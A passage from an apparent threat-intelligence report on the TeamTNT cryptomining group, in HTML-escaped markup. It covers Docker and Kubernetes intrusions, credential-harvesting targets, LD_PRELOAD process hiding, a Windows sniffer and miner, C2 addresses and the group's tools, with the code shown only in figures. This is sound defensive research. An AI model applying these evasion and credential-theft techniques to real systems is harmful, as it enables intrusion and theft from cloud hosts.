functionality. This method was described in the previous section. At this point
the attacker had full access to the filesystem of the victim machine, so they
downloaded and installed Weave Scope as described in the &lt;a href="https://github.com/weaveworks/scope"target="_blank" rel="noopener"&gt;project&amp;rsquo;s Git&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig47.png" title="Figure 45: Scope Weave install to Commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 45: Scope Weave install to Commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The dashboard of Weave Scope is accessible on port 4040. By exposing this port the attackers gained full access to all of the features of this tool.&lt;/p&gt;
&lt;p&gt;Throughout the Fall of 2020, TeamTNT also expanded their TTPs around credential
stealing to not only target stored AWS credentials. In a &lt;a href="https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/"target="_blank" rel="noopener"&gt;report published by Palo Alto Networks&lt;/a&gt; in October 2020,
the researchers reported on uses of &lt;strong&gt;mimipenquin&lt;/strong&gt; and &lt;strong&gt;mimipy&lt;/strong&gt; by the threat
actor. Both of these tools are designed to dump passwords from various
processes&amp;rsquo; memory. They are essentially the *NIX equivalent of Mimikatz for
Windows. After the credentials had been dumped, they were exfiltrated to
TeamTNT&amp;rsquo;s C2 server.&lt;/p&gt;
&lt;p&gt;Later the same month, ESET &lt;a href="https://twitter.com/ESETresearch/status/1321246274570620929"target="_blank" rel="noopener"&gt;tweeted&lt;/a&gt; about a new tool the threat actor had added to
their arsenal. The researchers found a binary written in Go with an AES
encrypted payload. When the crypter was executed, it would decrypt the payload
and write it to a memory only file created with the system call &lt;code&gt;memfd_create&lt;/code&gt;.
The tool was identified as Ezuri, an open-source project created by a &lt;a href="https://twitter.com/guitmz"target="_blank" rel="noopener"&gt;security researcher&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig48.png" title="Figure 46: Tweet published by ESET reporting on the initial finding of TeamTNT&amp;#39;s use of Ezuri to crypt their malware." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 46: Tweet published by ESET reporting on the initial finding of TeamTNT&amp;#39;s use of Ezuri to crypt their malware.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Winter 2021 (Winter 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-winter-2021-winter-2021"&gt;&lt;/span&gt;
&lt;a href="#der-winter-2021-winter-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In January 2021, &lt;a href="https://www.lacework.com/blog/teamtnt-builds-botnet-from-chinese-cloud-servers/"target="_blank" rel="noopener"&gt;Lacework Labs&lt;/a&gt; released a detailed analysis of &lt;strong&gt;Tsunami&lt;/strong&gt;, the IRC bot
used by TeamTNT. By extracting the configurations embedded in the malware, they
could connect to the IRC server and get more information about the threat
actor&amp;rsquo;s operation and victim information. At the time of their analysis, around
200 bots were connected but only 90 unique IP addresses were detected. We have
seen that TeamTNT has employed techniques to spread to other servers within
internal networks. This suggests that some of the bots were behind a &lt;strong&gt;NAT&lt;/strong&gt; and
shared the same external IP address. The majority of the infected machines were
located in Asia with servers hosted in cloud providers Tencent, Alibaba, and
Amazon Network being the largest. Outside of Asia, the United States, France,
and Germany had the most bots. The researchers also uncovered that some of these
infected machines were used to launch new campaigns.&lt;/p&gt;
&lt;p&gt;The threat actor also added more tools to hide their activity on the infected
machines. In January 2021, AT&amp;amp;T Alien Labs released a &lt;a href="https://cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool"target="_blank" rel="noopener"&gt;report&lt;/a&gt; on TeamTNT&amp;rsquo;s use of
&lt;strong&gt;libprocesshider&lt;/strong&gt;. The tool is used to hide processes using &lt;code&gt;LD_PRELOAD&lt;/code&gt;. The
shared object was written to &lt;code&gt;/usr/local/lib/systemhealt.so&lt;/code&gt; by the setup script
and directives were added to &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; to allow the shared object to
be loaded with every file that is executed. TeamTNT used libprocesshider to hide
their Tsunami bot on infected machines.&lt;/p&gt;
&lt;h2&gt;Attacking Kubernetes&lt;span class="hx:absolute hx:-mt-20" id="attacking-kubernetes"&gt;&lt;/span&gt;
&lt;a href="#attacking-kubernetes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The use of LD_PRELOAD to hide itself was spotted in another campaign of the
group, this time targeting exposed Kuberentes instances. Each Kubernetes node
has a running agent called kubelet which takes RESTful requests and performs
operations on the pods accordingly. The default configuration of standard
Kubernetes deployments allow anonymous access to kubelet. TeamTNT used this
misconfiguration to gain access to exposed Kubernetes instances and run
cryptomining malware in the containers.&lt;/p&gt;
&lt;p&gt;This campaign was reported by &lt;a href="https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"target="_blank" rel="noopener"&gt;Palo Alto Networks&lt;/a&gt; who described a new malware called &lt;strong&gt;Hildegard&lt;/strong&gt; that was first seen in this campaign. In this campaign there was no use of
container images. The malicious functionality was carried out using a reverse
shell and abusing containers that were already running.&lt;/p&gt;
&lt;p&gt;Finding containers and nodes that could be attacked was accomplished by two
tools: masscan (a tool that was described in the previous section) and kubelet.
To evade detection this campaign uses LD_PRELOAD as described in the previous
section and it deletes the scripts immediately after their execution.&lt;/p&gt;
&lt;p&gt;The campaign dropped two files: &lt;a href="https://github.com/inguardians/peirates"target="_blank" rel="noopener"&gt;Peirates&lt;/a&gt;, a penetration tool for Kubernetes that
steals cluster credentials, and &lt;a href="https://github.com/brompwnie/botb"target="_blank" rel="noopener"&gt;BOtB&lt;/a&gt;, a tool for performing a container breakout
using known vulnerabilities.&lt;/p&gt;
&lt;p&gt;To establish a connection with the Command and control (C2) server the malware
used &lt;strong&gt;tmate&lt;/strong&gt; or the &lt;a href="https://analyze.intezer.com/files/74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607?utm_campaign=research-blog&amp;amp;utm_content=teamtnt-cryptomining-explosion&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Tsunami bot&lt;/a&gt;. It is unclear how the group decides which tool to
use.&lt;/p&gt;
&lt;p&gt;In this campaign the Tsunami bot was packed using Ezuri in an attempt to evade
detection. The process name of the bot was set to &amp;lsquo;bioset&amp;rsquo; to masquerade as a
legitimate process. This process name was used by the group in previous
campaigns.&lt;/p&gt;
&lt;h2&gt;Windows Targeting Attempt?&lt;span class="hx:absolute hx:-mt-20" id="windows-targeting-attempt"&gt;&lt;/span&gt;
&lt;a href="#windows-targeting-attempt" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;While investigating TeamTNT&amp;rsquo;s infrastructure, we noticed that two Windows PE
files had been downloaded from one of the domain names according to VirusTotal.
A screenshot from VirusTotal is shown in Figure 47.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig49.png" title="Figure 47: Windows binaries downloaded from TeamTNT&amp;#39;s infrastructure in February 2021." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 47: Windows binaries downloaded from TeamTNT&amp;#39;s infrastructure in February 2021.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The first file, &lt;code&gt;sniffer.exe&lt;/code&gt;, is a compiled &lt;strong&gt;AutoIt&lt;/strong&gt; script. A part of the script is shown in Figure 48. The script downloads &lt;strong&gt;WinPcap&lt;/strong&gt; and tries to steal sensitive data from network traffic. It looks for keywords of usernames, passwords, credit card information, cookies, etc.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig50.png" title="Figure 48: Part of AutoIT script that uses WinPcap to steal sensitive data transferred over the network." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 48: Part of AutoIT script that uses WinPcap to steal sensitive data transferred over the network.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The second file, &lt;code&gt;svchost2.exe&lt;/code&gt;, runs an XMRig Miner. A code reuse analysis of the file is shown in Figure 49. The file &amp;ldquo;installs&amp;rdquo; itself to the user&amp;rsquo;s home folder as the file name &lt;code&gt;notepad.exe&lt;/code&gt;. The mining software is compiled with &lt;strong&gt;CUDA&lt;/strong&gt; support to take advantage of a NVIDIA graphics card that might be available on the compromised machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig51.png" title="Figure 49: Code reuse analysis of svchost2.exe shows that the file executes a XMRig Miner." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 49: Code reuse analysis of svchost2.exe shows that the file executes a XMRig Miner.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;While we were not able to attribute these files to a campaign, the files are aligned with TeamTNT&amp;rsquo;s TTPs. Since the first campaign in this report, the threat actor has been stealing credentials and installing cryptominers on servers. It is possible the threat actor was just testing against a new target type, never manifesting into a full-fledged campaign.&lt;/p&gt;
&lt;p&gt;When the cryptominer is executed, it drops a driver to the user&amp;rsquo;s
&lt;strong&gt;AppDataRoamingWinCFGLibs&lt;/strong&gt; folder. From gene analysis, this driver was
identified as WinRing0x64 from &lt;strong&gt;OpenLibSys&lt;/strong&gt;. The driver allows user space
applications to access ring 0, essentially giving the process unfettered access.
This driver is part of &lt;a href="https://xmrig.com/docs/miner/randomx-optimization-guide/msr"target="_blank" rel="noopener"&gt;XMRig for Windows&lt;/a&gt;. The miner uses the driver to access MSR registers to
improve the mining performance. While the driver is part of a legitimate
application, it does provide a loophole that can be used to bypass a trust
boundary.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig52.jpeg" title="Figure 50: Analysis of WinRing0x64 driver installed by the XMRig Miner." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 50: Analysis of WinRing0x64 driver installed by the XMRig Miner.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Frühling 2021 (Spring 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-frühling-2021-spring-2021"&gt;&lt;/span&gt;
&lt;a href="#der-fr%c3%bchling-2021-spring-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;During the Spring of 2021, TeamTNT expanded their credential stealing. In a shell script found by &lt;a href="https://www.trendmicro.com/en_gb/research/21/e/teamtnt-extended-credential-harvester-targets-cloud-services-other-software.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, the threat actor had expanded their search to the following applications and services:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSH&lt;/li&gt;
&lt;li&gt;AWS&lt;/li&gt;
&lt;li&gt;Docker&lt;/li&gt;
&lt;li&gt;S3&lt;/li&gt;
&lt;li&gt;GitHub&lt;/li&gt;
&lt;li&gt;Shodan&lt;/li&gt;
&lt;li&gt;Google Cloud&lt;/li&gt;
&lt;li&gt;Ngrok&lt;/li&gt;
&lt;li&gt;Pidgin&lt;/li&gt;
&lt;li&gt;FileZilla&lt;/li&gt;
&lt;li&gt;HexChat&lt;/li&gt;
&lt;li&gt;MoneroGuiWallet&lt;/li&gt;
&lt;li&gt;CloudFlared&lt;/li&gt;
&lt;li&gt;Davfs2&lt;/li&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;SMB&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The script, shown in Figure 51, searches for the files but does not exfiltrate
the data. It&amp;rsquo;s not known if and how TeamTNT exfiltrated the identified files as
part of the campaign.&lt;/p&gt;
&lt;p&gt;In addition to the credential search, the threat actor also started to enumerate
data from the cloud environment that it was running on. Figure 52 shows a
snippet of the script &lt;code&gt;grab_aws_data.sh&lt;/code&gt; that uses AWS CLI to extract data.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig53.png" title="Figure 51: Script by TeamTNT searches for files that normally hold credentials." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 51: Script by TeamTNT searches for files that normally hold credentials.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;According to &lt;a href="https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html"target="_blank" rel="noopener"&gt;Trend Micro&lt;/a&gt;, close to 50,000 IP addresses running &lt;strong&gt;Kubernetes&lt;/strong&gt; were compromised between March and May of 2021. The majority of the machines were located in China. The machines are predominantly hosted by cloud providers. This distribution is similar to what Lacework Labs reported in January the same year but with a much larger volume.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig54.png" title="Figure 52: Snippet of a script that uses AWS CLI to enumerate data from AWS." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 52: Snippet of a script that uses AWS CLI to enumerate data from AWS.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Der Sommer 2021 (Summer 2021)&lt;span class="hx:absolute hx:-mt-20" id="der-sommer-2021-summer-2021"&gt;&lt;/span&gt;
&lt;a href="#der-sommer-2021-summer-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;During the Summer of 2021, TeamTNT continued to target unsecured Docker and
Kubernetes servers. Due to other threat actors using some of TeamTNT&amp;rsquo;s scripts
during the Spring of 2021, TeamTNT added some new ways to identify their
scripts. The threat actor announced the changes on their Twitter account as can
be seen in Figure 53.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig55.png" title="Figure 53: TeamTNT announces via their Twitter account that all scripts from now on are tagged to ensure correct attribution." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 53: TeamTNT announces via their Twitter account that all scripts from now on are tagged to ensure correct attribution.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Figure 54 shows the first few lines of a script file that was used during the campaign. The file includes the information that the threat actor claimed would be added. Further down in the file is a URL from where the script was downloaded from.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig56.png" title="Figure 54: First few lines in the script file used during Summer 2021." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 54: First few lines in the script file used during Summer 2021.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TeamTNT also stated on their Twitter that they were going to be more &amp;ldquo;transparent&amp;rdquo; about their ongoing campaigns. As part of the Tweet, they included a link to a &amp;ldquo;beta dashboard.&amp;rdquo; Figure 55 is a screenshot of the dashboard. From the dashboard, it can be seen that the &amp;ldquo;Chimaera&amp;rdquo; campaign started on July 25, 2021 and vulnerable Docker, Kubernetes and WeaveScope services were being targeted.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig57.png" title="Figure 55: Screenshot of Chimaera dashboard." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 55: Screenshot of Chimaera dashboard.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As in previous campaigns targeting vulnerable Docker instances, the use of masscan/pnscan with zgrab was used in the Summer to find the instances. Figure 56 shows the payload executed on the vulnerable machines. First, it tells Docker to download an &lt;strong&gt;alpine&lt;/strong&gt; image that downloads the scanning script and infects the machine with a miner. In addition, a WeaveScope probe is installed on the machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig58.png" title="Figure 56: Function in the scanner script that exploits insecure Docker services." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 56: Function in the scanner script that exploits insecure Docker services.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TeamTNT also made some changes to the wallet. Instead of having the wallet address hard-coded in the script, the threat actor added functionality that allows for rotating the address without changing the scripts. Figure 57 shows how the script fetches the latest wallet from the threat actor&amp;rsquo;s server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig59.png" title="Figure 57: Added functionality to download the most recent wallet. If the request fails, a hard-coded backup address is used." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 57: Added functionality to download the most recent wallet. If the request fails, a hard-coded backup address is used.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Soziale Aktivität (Social Media Activity)&lt;span class="hx:absolute hx:-mt-20" id="soziale-aktivität-social-media-activity"&gt;&lt;/span&gt;
&lt;a href="#soziale-aktivit%c3%a4t-social-media-activity" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;For being a threat actor, TeamTNT maintains a public persona on Twitter. The
Twitter account @HildeTNT, shown in Figure 58, was created in August 2020. The
first campaign of the threat actor was reported in May 2020, while we have
identified some activity dating back to October 2019. The account was created
during the Summer of 2020 when many reports covering the actor&amp;rsquo;s activity were
published. Based on the information provided in the profile their region is
Germany.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig60.png" title="Figure 58: Screenshot of TeamTNT&amp;#39;s Twitter profile." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 58: Screenshot of TeamTNT&amp;#39;s Twitter profile.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the graph presented in Figure 59, the threat actor is active on Twitter during all hours of the day. The data presented in the figure has been adjusted to UTC time zone. If we assume TeamTNT is based in a European time zone, we can conclude that the &amp;ldquo;spike&amp;rdquo; in number of tweets corresponds from late afternoon until evening time in Europe.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig61.png" title="Figure 59: A graph showing the correlation between hours of the day (in UTC) and number of tweets." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 59: A graph showing the correlation between hours of the day (in UTC) and number of tweets.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Plotting the activity on a timeline we can see when the threat actor has been
most active and any potential downtimes. In Figure 60 we can see that the most
socially active period was from the middle of January 2021 until the middle of
May 2021. There is a less active period at the end of 2020 which correlates to
the Christmas holidays and New Year. It appears as the activity might be slowing
down.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig62.png" title="Figure 60: A graph showing the correlation between hours of the day (in UTC) and number of tweets." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 60: A graph showing the correlation between hours of the day (in UTC) and number of tweets.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Most of TeamTNT&amp;rsquo;s tweets are in German and the content varies from commenting on
political subjects and current affairs (like COVID-19 vaccination), to
discussing their activities and replying to researchers that post content
related to the group. Figure 61 shows their response to a Trend Micro report.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig63.png" title="Figure 61: Tweet by TeamTNT replying to a research article made about them. Translated from German." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 61: Tweet by TeamTNT replying to a research article made about them. Translated from German.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Copycat&lt;span class="hx:absolute hx:-mt-20" id="copycat"&gt;&lt;/span&gt;
&lt;a href="#copycat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In March 2021, TeamTNT replied to a tweet (later deleted) pointing out that
someone else was using their tools and an attack was falsely attributed to the
group. According to TeamTNT, the scripts used by the copycat were at least six
months old.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig64.png" title="Figure 62: A reply by TeamTNT to another user on Twitter. Translated from German." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 62: A reply by TeamTNT to another user on Twitter. Translated from German.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In June, Palo Alto Networks&amp;rsquo; Unit 42 released a report that attributed TeamTNT
to a campaign in which appeared to contain a number of scripts and tools that
implemented similar techniques to those used by another cryptojacking group, yet
had a number of differences in implementation and usage. TeamTNT replied to the
author of the blog in a series of tweets claiming that it was not a campaign and
tools used by them but rather by someone else. They shared part of the script
they own and use in their current campaigns in order to prove their point. The
script (Figure 64) was hosted on their site teamtnt[.]red/blog/Kubernetes.txt.&lt;/p&gt;
&lt;p&gt;The group responded to other tweets that mentioned this blog, saying: &amp;ldquo;Das ist
KEINE TeamTNT Kampagne!&amp;rdquo; (from German: &amp;ldquo;This is NOT a TeamTNT campaign!&amp;rdquo;). The
threat actor has a history of commenting on previous reports documenting their
activity. Sometimes they retweet the links to the report or comment on
statements. They haven&amp;rsquo;t refuted previous campaigns which suggests that they
want to take credit for their activity. Based on their previous behavior, we
assess that the refuted campaign is not by TeamTNT and instead by an imitator.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig65.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Figure 63: TeamTNT&amp;rsquo;s reply to Palo Alto&amp;rsquo;s research from June 2021.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig66.png" title="Figure 64: Script shared by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 64: Script shared by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Werkzeuge (Tools)&lt;span class="hx:absolute hx:-mt-20" id="werkzeuge-tools"&gt;&lt;/span&gt;
&lt;a href="#werkzeuge-tools" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Tsunami (Kaiten)&lt;span class="hx:absolute hx:-mt-20" id="tsunami-kaiten"&gt;&lt;/span&gt;
&lt;a href="#tsunami-kaiten" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;TeamTNT uses an IRC bot malware known as &lt;a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami"target="_blank" rel="noopener"&gt;Tsunami&lt;/a&gt;. Figure 65 shows the code reuse
analysis of the bot used in the first set of campaigns. Tsunami allows the
operator to perform DDoS attacks against targets or execute commands on the
infected machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig67.png" title="Figure 65: Code reuse analysis of a Tsunami sample used by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 65: Code reuse analysis of a Tsunami sample used by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The source code for the bot was published in 2014. A forked and updated version
called &lt;strong&gt;ziggystartux&lt;/strong&gt; is available on GitHub. Figure 66 shows the GitHub
repository for the project.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig68.png" title="Figure 66: GitHub repository of ZiggyStarTux." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 66: GitHub repository of ZiggyStarTux.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The bot used by TeamTNT does not appear to have been compiled from this code. Instead it appears to have been compiled from an earlier version. There &lt;a href="https://github.com/search?l=C&amp;amp;p=1&amp;amp;q=%22NOTICE&amp;#43;%25s&amp;#43;%3AKaiten&amp;#43;wa&amp;#43;goraku%22&amp;amp;type=Code"target="_blank" rel="noopener"&gt;are multiple&lt;/a&gt; repositories in GitHub hosting the original published code. All of these have the bot version string found in the binary used by TeamTNT, as well as support for the same commands. The commands supported by the bot are shown in the code snippets below.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig69.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;TeamTNT&amp;rsquo;s Configuration&lt;span class="hx:absolute hx:-mt-20" id="teamtnts-configuration"&gt;&lt;/span&gt;
&lt;a href="#teamtnts-configuration" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;As can be seen in Figure 67, the bot is setting a &amp;ldquo;fake&amp;rdquo; application name to
&lt;strong&gt;kthreadd&lt;/strong&gt;, masquerading as a kernel thread.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig70.png" title="Figure 67: Changing the name of the process to kthreadd." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 67: Changing the name of the process to kthreadd.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The bot has two servers in its configuration. The servers are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;111.230.15.240&lt;/li&gt;
&lt;li&gt;Teamtnt.twilightparadox.com&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Rathole&lt;span class="hx:absolute hx:-mt-20" id="rathole"&gt;&lt;/span&gt;
&lt;a href="#rathole" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://github.com/IncSTK/rathole"target="_blank" rel="noopener"&gt;Rathole&lt;/a&gt; is an open-source Unix backdoor with its code hosted on GitHub (Figure 68).
A code reuse analysis is shown in Figure 69. The backdoor can be compiled on
standard Linux distributions, it supports blowfish encryption, process name
hiding and preferable shell.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig71.png" title="Figure 68: GitHub repository hosting the Rathole backdoor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 68: GitHub repository hosting the Rathole backdoor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig72.png" title="Figure 69: Code reuse analysis of Rathole binary used by TeamTNT." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 69: Code reuse analysis of Rathole binary used by TeamTNT.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The difference between the source and the binary is that the string &amp;rsquo;teamtnt&amp;rsquo; is
added to the encryption and decryption routine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig73.png" title="Figure 70: Screenshot showing the encryption key used by the backdoor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 70: Screenshot showing the encryption key used by the backdoor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file was first submitted to VirusTotal on October 6, 2019, before the first recorded evidence of TeamTNT&amp;rsquo;s activity.&lt;/p&gt;
&lt;h3&gt;Ezuri&lt;span class="hx:absolute hx:-mt-20" id="ezuri"&gt;&lt;/span&gt;
&lt;a href="#ezuri" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ezuri is an open-source ELF crypter. The project is hosted on GitHub. Figure 71
shows a screenshot of the GitHub repository.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig74.png" title="Figure 71: GitHub repository of Ezuri crypter hosted on GitHub." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 71: GitHub repository of Ezuri crypter hosted on GitHub.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The crypter uses AES in Cipher Feedback (CFB) mode to encrypt the payload. When the crypter is executed, the payload is decrypted and executed from memory. Figure 72 shows the &lt;strong&gt;main&lt;/strong&gt; and decryption function.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/02/teamtnt-cryptomining-explosion/images/fig75.png" title="Figure 72: Ezuri&amp;#39;s main function and decryption logic." alt="" loading="lazy" /&gt;
